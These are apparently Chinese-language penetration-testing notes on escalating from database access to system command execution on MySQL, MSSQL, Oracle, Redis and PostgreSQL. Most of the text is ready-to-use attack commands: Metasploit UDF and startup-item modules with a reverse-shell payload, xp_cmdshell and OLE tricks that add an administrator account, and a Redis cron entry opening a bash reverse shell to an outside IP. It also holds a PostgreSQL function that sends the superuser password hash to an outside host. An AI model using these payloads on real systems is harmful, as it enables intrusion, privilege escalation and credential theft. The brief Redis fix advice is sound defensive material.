通过webshell查看phpmyadmin中配置文件(confiug.default.php)获取数据库账号密码
或者查看CMS配置文件(config.php等)
UDF(Userdeined function)用户自定义函数,是mysql的一个接口,可以为mysql增添一些函数并且使用
动态链接库是实现共享函数库的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so,将该文件放到特定的目录中,该文件包含了执行系统命令的一些函数
获取密码-开启外联-高版本创建目录-MSF导出dll-Webshell执行后续
1.mysql<5.2 导出目录c:/windows或system32
2.mysql=>5.2 导出mysql安装目录/lib/plugin/(plugin文件夹默认不存在,需要创建)
select version() #mysql的版本
select @@basedir #MySQL 的安装路径
通过文件管理进入C:/phpStudy/PHPTutorial/MySQL/lib/plugin 该路径下
phpstudy搭建默认没有plugin子目录,需自己手动创建或利用NTFS流创建 。
使用MSF(kali 10.10.10.129)中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权
MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
MSF:(前提先开外联)
root用户默认没开启外联,仅支持本地连接
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 10.10.10.1 (这里更换了靶机)
run
[-] 10.10.10.1:3306 - MySQL Error: RbMysql::ServerError::OptionPreventsStatement The MySQL server is running with the --secure-file-priv option so it cannot execute this statement #报错是因为启动MySQL默认开启--secure-file-priv这个参数,参数的主要目的就是限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置 secure_file_priv=null 不允许文件的导入导出 secure_file_priv=xxx 文件导入导出到固定路径 secure_file_priv=/ 文件可导入到任意路径 #关闭--secure-file-priv参数 my.ini 加入一行 [mysqld] secure_file_priv = 重启phpstudy
重新run
上传成功
Navicat:
开外联后使用MSF导出,在执行后续命令调用执行
select * from mysql.func where name = "sys_exec"; //查看
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll
select sys_eval("whoami");//调用函数进行命令执行
自此从数据库权限提权至系统用户权限,后续进行远程下载后门,以及执行。
https://www.cnblogs.com/xishaonian/p/6384535.html
MSF:use exploit/windows/mysql/mysql_mof
提权较难成功
MSF:(前提先开外链)
use exploit/windows/mysql/mysql_start_up
set rhosts 10.10.10.151
set username root
set password root
run
后续服务器重启,自动执行启动项,执行后门文件
Mysql提权之反弹shell_^quxjg$c46496a646d7a9ca23ade2e5dfddc06c7e5efe9a7-CSDN博客
use mysql;
set @a=concat('',xxxx);//具体payload见上方链接
create table Ghost(data LONGBLOB);
insert into Ghost values("");update Ghost set data = @a;
select data from Ghost into DUMPFILE 'D:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll';
create function backshell returns string soname 'udf.dll';//创建后门函数绑定udf.dll
select backshell('10.10.10.129',7788)//传入两个参数执行
主要是secure_file_priv 是否允许导入导出文件(固定目录),高版本mysql默认开启,mysql提权前提条件
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
sql server 默认支持外联
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
默认禁用:
启用sp_oacreate模块
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
关闭
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
exec sp_configure 'show advanced options',1;reconfigure; -- 不开启的话在执行xp_regwrite会提示让我们开启,
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' --执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')
这里执行命令遇到了报错: [SQL]select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') [Err] 42000 - [SQL Server]因为 OLE DB 访问接口 'microsoft.jet.oledb.4.0' 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询。 查资料说是64位操作系统的问题,在靶机上sql server 环境上执行也没有成功。(可能是需要sql服务器端32位)
参考资料:OLE DB 访问接口 'Microsoft.Jet.OLEDB.4.0' 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询 - 天生我豺 - 博客园 (cnblogs.com)
`0`:在任何所有者中禁止启用安全模式 `1` :为仅在允许范围内 `2` :必须在access模式下 `3`:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
--恢复配置
--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
--exec sp_configure 'show advanced options',0;reconfigure;
https://github.com/jas502n/oracleshell
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显
连接(未授权或有密码)-利用如下方法提权
采用未授权直接利用,密码进入需获取配置文件读取
1、设置键值为反弹命令的计划任务写法
2、设置写入目录为/var/spool/cron/
3、设置写入文件名为xiaodi
4、保存执行
set x "\n* * * * * bash -i >& /dev/tcp/47.114.103.63/7788 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename xiaodi
save
参考:Redis未授权访问漏洞利用总结_redis漏洞利用-CSDN博客
(1).利用计划任务执行命令反弹shell
(2).写ssh-keygen公钥然后使用私钥登陆
(3).权限较低往web物理路径写webshell
修复方案:
注意:以下操作,均需重启 Redis 后才能生效。
绑定需要访问数据库的IP。 将127.0.0.1修改为需要访问此数据库的IP地址。
设置访问密码。在 Redis.conf中requirepass 字段后,设置添加访问密码。
修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限。
提权利用的是漏洞:CVE-2018-1058 CVE-2019-9193
连接-利用漏洞-执行-提权
参考:Vulhub - Docker-Compose file for vulnerability environment
修复方案:升级版本或打上补丁
PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
vulhub搭建靶机
先通过普通用户vulhub:vulhub的身份登录postgres
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=47.94.130.42 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
非root权限(UID 0 root用户 UID 1~999 是占坑用户,即一写无法登录的用户),更改执行参数进行命令执行